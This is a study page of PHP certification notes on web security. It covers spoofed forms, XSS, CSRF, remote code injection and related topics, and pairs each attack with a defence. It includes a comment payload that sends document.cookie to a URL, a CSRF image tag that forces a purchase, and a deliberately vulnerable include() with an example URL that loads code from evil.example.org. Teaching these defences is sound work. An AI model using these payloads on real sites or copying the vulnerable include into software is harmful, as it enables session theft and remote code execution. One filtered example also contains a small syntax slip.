Studyon Minte9.com
ZCE 5.3

Study

Website Security



	// Spoofed Forms 

	// XSS Cross Site Scripting
		// Attack: User submit malicious comment <script>
		// Defence: Escape output (strip_tags, htmlentities)

	// CSRF Cross Site Request Forgery
		// Attack: Embed an image in some site (checkout.php)
		// Solution: Use token in forms

	// Remote code injection
		// Attack: She is able to execute PHP code (include (section = http://evil / data.inc.php)
		// Solution: Never use tainted data in an include or require; ini_set("allow_url_fopen", 0);


* Spoofed Forms

Atack : Copy a target form and execute it from a different location. 
Defence: Restrict input to your rules


* XSS Cross Site Scripting

All applications that display input are at risk. This attack works only if the application fails to escape output. 
Thus, it is easy to prevent this kind of attack with proper output escaping.

<!-- Logged user data in Cookie --> <script> function setCookie(c_name,value,exdays) { var exdate=new Date(); exdate.setDate(exdate.getDate() + exdays); var c_value = escape(value) + ((exdays==null) ? "" : "; expires="+exdate.toUTCString()); document.cookie = c_name + "=" + c_value; } setCookie('username', 'john'); setCookie('email', 'john@yahoo.com'); </script> <!-- User submit malicious comment --> <form method="POST"> Add a comment: <textarea name="comment"> <script> document.location = "http://localhost/test.php?cookies="+ document.cookie; </script> </textarea> <input type="submit" name="btn_submit"/> </form> <!-- Submited comment is displayed --> <?php $_COOKIE['loggedUsername'] = 'john'; $_COOKIE['loggedPassword'] = '123'; if (isset($_POST['btn_submit'])) { if (!empty($_POST['comment'])) { echo $_POST['comment']; // Will redirect to // http://localhost/test.php?cookies=username=john&email=john@yahoo.com } }
  * CSRF Atack: Embed an image in some arbitrary Web site example.org <img src="http://shop.com.org/checkout.php?isbn=0312863551&qty=1" /> If it happend that you are logged on shop.com and you browse example.org, you'll make a purchase, even if you don't to The token method involves the use of a randomly generated token that is stored in the user's session when the user accesses the form page and is also placed in a hidden field on the form.
<?php session_start(); if (isset($_POST['btn_submit'])) { if (isset($_SESSION['token']) && isset($_POST['token']) && $_POST['token'] == $_SESSION['token']) { echo 'Accepted'; } else { echo 'Denied'; } } $token = md5(uniqid(rand(), TRUE)); $_SESSION['token'] = $token; ?> <form method="POST"> <input type="hidden" name="token" value="<?php echo $token; ?>" /> <input type="submit" name="btn_submit"/> </form>
  * Remote Code Injection // Defence: Never using tainted data in an include or require // allow_url_fopen = 0 (default) A remote code injection attack occurs when an attacker is able to cause your application to execute PHP code of their choosing.
<?php ini_set("allow_url_fopen", 1); // dfault 0 include "{$_GET['section']}/data.inc.php"; // http://example.org/?section=news // include "news/data.inc.php"; // http://example.org/?section=http%3A%2F%2Fevil.example.org%2Fattack.inc%3F // include "http://evil.example.org/attack.inc?/data.inc.php"; // The application will include attack.inc, located on the remote server, which treats // /data.inc.php as part of the query string // (thus effectively neutralizing its effect within your script)
It is easy to protect against it by filtering all input and never using tainted data in an include or require statement. By default, allow_url_fopen is set to On.
<?php $clean = array(); $sections = array('home', 'news', 'photos', 'blog'); if (in_array($_GET['section'], $sections)) { $clean['section'] = $_GET['section']; } else { $clean['section'] = 'home'; } include "{clean['section']}/data.inc.php";
* Comand injection PHP provides escapeshellcmd() and escapeshellarg() as a means to properly escape shell output. * Shared Hosting // open_basedir, disable_functions, and disable_classes There are a variety of security issues that arise when using shared hosting solutions. PHP has tried to solve some of this issues with the safe_mode directive. However, as the PHP manual states, it "is architecturally incorrect to try to solve this problem at the PHP level." Thus, safe_mode will no longer be available as of PHP 6.